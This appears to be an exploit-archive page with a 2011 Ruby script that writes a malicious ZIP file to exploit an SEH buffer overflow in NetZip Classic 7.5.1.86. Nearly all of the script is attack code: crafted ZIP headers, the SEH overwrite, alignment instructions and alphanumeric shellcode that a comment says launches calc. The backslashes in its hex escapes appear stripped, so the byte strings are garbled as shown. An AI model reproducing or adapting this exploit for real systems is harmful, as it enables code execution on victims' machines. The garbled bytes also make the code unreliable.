[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : NetZip Classic Buffer Overflow Exploit (SEH)
# Published : 2011-01-30
# Author : C4SS!0 G0M3S
# Previous Title : AOL 9.5 (rtx) Local Buffer Overflow Exploit
# Next Title : A-PDF All to MP3 Converter 2.0.0 (.wav) Buffer Overflow (seh)


#
#
#[+]Exploit Title: Exploit Buffer Overflow NetZip Classic(SEH)
#[+]Date: 0130\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://proforma.real.com/real/nzclassic/nzclassic.html
#[+]Version: 7.5.1.86
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
#
#The structure of the zip file has been copied from the exploit CORELAN TEAM.
#Thanks For all Turuial Corelan Team
#
#Created BY C4SS!0 G0M3S
#WWW.INVASAO.COM.BR
#Louredo_@hotmail.com
#
#

def usage()
system("cls")
system("color 4f");
str = 
"""


              #######   #   ###### ######   #  #############
              #        ##   #      #        #  #           #  
              #      #  #   #      #        #  #           #   
              #      ###### ###### ######   #  #           #   
              #         #        #      #   #  #           #  
              #         #        #      #   #  #           #    
              #######   #   ###### ######   0  #############
			  
              
	      [+]Exploit Buffer Overlfow NetZip Classic 7.5.1.86
			  
	      [+]Author C4SS!0 G0M3S
			  
	      [+]E-mail Louredo_@hotmail.com
			  
			  
"""
print str
end
if ARGV.length !=1
     usage()
	 print "[-]Usage: "+$0+" <File Name>n"
	 print "[-]Exemple: "+$0+" Exploit.zipn"
	 exit
end
usage()
filename = ARGV[0]
head1 = 
"x50x4Bx03x04x14x00x00"+
"x00x00x00xB7xACxCEx34x00x00x00" +
"x00x00x00x00x00x00x00x00" +
"xe4x0f" +
"x00x00x00";

head2 = 
"x50x4Bx01x02x14x00x14"+
"x00x00x00x00x00xB7xACxCEx34x00x00x00" +
"x00x00x00x00x00x00x00x00x00"+
"xe4x0f"+ 
"x00x00x00x00x00x00x01x00"+
"x24x00x00x00x00x00x00x00";

end1 = 
"x50x4Bx05x06x00x00x00x00x01x00x01x00"+
"x12x10x00x00"+
"x02x10x00x00"+ 
"x00x00";

buffer = "x41" * 235
nseh = "x59x40x40x40"
seh = [0x10057A41].pack('V')#
egg = "x41" * 5 #4 INC ECX
egg += "x61" * 6 #6 POPAD
egg += "x04x10" #ADD AL,10
egg += "x98xd1" #CALL EAX 
egg += "x41" * 5 #JUNK TO SHELLCODE
puts "              [*]Identifying the length Shellcodenn"
sleep(1)
shellcode = 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D"+
"46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X"+ #Shellcode WinExec("calc",0) 
"USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY"+ #ALPHA BASEADDRESS EAX
"41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT"+
"YK7OGT8FOPYLP3K8W5UCOM83KYZA"

puts "              [*]The length is Shellcode: #{shellcode.length}nn"
sleep(1)


junk = "x41" * (4064 - (buffer+nseh+seh+egg+shellcode).length)

payload = buffer+nseh+seh+egg+shellcode+junk

payload += ".txt"

exploit_zip = head1+payload+head2+payload+end1
puts "              [*]Creating the File #{filename}nn"
sleep(1)
begin

f = File.open(filename,"w")
f.puts exploit_zip
f.close
puts "              [*]The File #{filename} was Created with Successnn"
sleep(1)
rescue

puts "              [*]Error When Creating The File #{filename}nn"
exit   

end